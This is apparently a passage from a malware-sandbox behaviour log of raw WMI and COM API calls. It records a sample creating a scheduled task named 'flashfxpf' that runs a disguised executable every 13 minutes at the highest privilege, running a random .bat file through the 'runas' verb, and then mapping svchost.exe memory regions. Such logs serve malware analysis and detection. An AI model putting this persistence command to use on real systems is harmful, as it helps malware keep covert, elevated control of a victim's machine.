out: ppv=0x1bb7d8b0*=0x1bc6fe20) returned 0x0 [0164.138] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fe20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0164.138] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fe20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc943f0) returned 0x0 [0164.139] WbemDefPath:IUnknown:Release (This=0x1bc6fe20) returned 0x0 [0164.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc943f0) returned 0x0 [0164.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0164.139] WbemDefPath:IUnknown:AddRef (This=0x1bc943f0) returned 0x3 [0164.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0164.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0164.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6fd60) returned 0x0 [0164.139] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fd60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.139] WbemDefPath:IUnknown:Release (This=0x1bc6fd60) returned 0x3 [0164.139] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0164.139] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0164.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0164.140] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x2 [0164.140] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x1 [0164.140] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0164.140] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0164.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc943f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc943f0) returned 0x0 [0164.140] WbemDefPath:IUnknown:AddRef (This=0x1bc943f0) returned 0x3 [0164.140] WbemDefPath:IUnknown:Release (This=0x1bc943f0) returned 0x2 [0164.140] WbemDefPath:IWbemPath:SetText (This=0x1bc943f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc944b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc943f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetText (in: This=0x1bc943f0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0164.140] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc944b0) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc943f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc943f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc943f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0164.140] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc944b0, uIndex=0x0, pszName="root") returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc943f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc943f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0164.140] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc944b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc943f0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc943f0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc944b0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0164.140] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc944b0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc944b0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc944b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0164.141] WbemDefPath:IWbemPath:GetText (in: This=0x1bc944b0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0164.141] IWbemServices:GetObject (in: This=0x1bcc63f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa234b0, ppCallResult=0x0) returned 0x0 [0164.172] IWbemClassObject:GetMethod (in: This=0x1aa234b0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa23820, ppOutSignature=0x1bb7e690*=0x1aa23b90) returned 0x0 [0164.173] IWbemClassObject:SpawnInstance (in: This=0x1aa23820, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc77c50) returned 0x0 [0164.173] IWbemClassObject:Get (in: This=0x1bc77c50, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27efe88*=0, plFlavor=0x27efe8c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27efe88*=8, plFlavor=0x27efe8c*=32) returned 0x0 [0164.173] IWbemClassObject:Get (in: This=0x1bc77c50, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27efe88*=8, plFlavor=0x27efe8c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27efe88*=8, plFlavor=0x27efe8c*=32) returned 0x0 [0164.174] IWbemClassObject:Put (This=0x1bc77c50, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0164.174] IWbemClassObject:Get (in: This=0x1bc77c50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27eff18*=0, plFlavor=0x27eff1c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27eff18*=13, plFlavor=0x27eff1c*=32) returned 0x0 [0164.174] IWbemClassObject:Get (in: This=0x1bc77c50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27eff18*=13, plFlavor=0x27eff1c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27eff18*=13, plFlavor=0x27eff1c*=32) returned 0x0 [0164.174] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa22dd0) returned 0x0 [0164.174] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0164.174] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0164.175] IUnknown:AddRef (This=0x1aa22dd0) returned 0x3 [0164.175] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0164.175] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0164.175] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa22dd8) returned 0x0 [0164.175] IMarshal:GetUnmarshalClass (in: This=0x1aa22dd8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0164.175] IUnknown:Release (This=0x1aa22dd8) returned 0x3 [0164.175] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0164.175] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0164.175] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0164.175] IUnknown:Release (This=0x1aa22dd0) returned 0x2 [0164.175] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0164.175] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0164.175] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0164.175] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0164.175] IUnknown:QueryInterface (in: This=0x1aa22dd0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0164.175] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0164.175] IUnknown:AddRef (This=0x1aa22dd0) returned 0x3 [0164.176] IWbemClassObject:Put (This=0x1bc77c50, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa22dd0, varVal2=0x0), Type=0) returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc949f0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetText (in: This=0x1bc949f0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetText (in: This=0x1bc949f0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetText (in: This=0x1bc949f0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0164.176] WbemDefPath:IWbemPath:GetText (in: This=0x1bc949f0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0164.177] IWbemServices:ExecMethod (in: This=0x1bcc63f0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc77c50, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc77f00, ppCallResult=0x0) returned 0x0 [0164.390] IWbemClassObject:Get (in: This=0x1bc77f00, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f0230*=0, plFlavor=0x27f0234*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa58, varVal2=0x0), pType=0x27f0230*=19, plFlavor=0x27f0234*=0) returned 0x0 [0164.390] IWbemClassObject:Get (in: This=0x1bc77f00, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f0230*=19, plFlavor=0x27f0234*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa58, varVal2=0x0), pType=0x27f0230*=19, plFlavor=0x27f0234*=0) returned 0x0 Thread: id = 27 os_tid = 0xe94 Thread: id = 28 os_tid = 0xe98 [0117.996] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.999] CoGetContextToken (in: pToken=0x1b66f9a0 | out: pToken=0x1b66f9a0) returned 0x0 [0117.999] CObjectContext::QueryInterface () returned 0x0 [0117.999] CObjectContext::GetCurrentThreadType () returned 0x0 [0117.999] Release () returned 0x0 [0117.999] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0117.999] CoUninitialize () [0143.734] CoUninitialize () Thread: id = 226 os_tid = 0xa60 Thread: id = 229 os_tid = 0xa68 [0166.023] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0166.026] ShellExecuteExW (in: pExecInfo=0x2804d50*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\GYwzkQocQK.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2804d50*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\GYwzkQocQK.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x50c)) returned 1 [0174.933] CoGetContextToken (in: pToken=0x1bf8f810 | out: pToken=0x1bf8f810) returned 0x0 [0174.936] CoUninitialize () Thread: id = 230 os_tid = 0xa6c Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x89ef000" os_pid = "0x368" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d967" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 975 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 976 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 977 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 978 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 979 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 980 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 981 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 982 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 983 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 984 start_va = 0x100000 end_va = 0x100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 985 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 986 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 987 start_va = 0x130000 end_va = 0x149fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 988 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 989 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 990 start_va = 0x170000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 991 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 992 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 993 start_va = 0x210000 end_va = 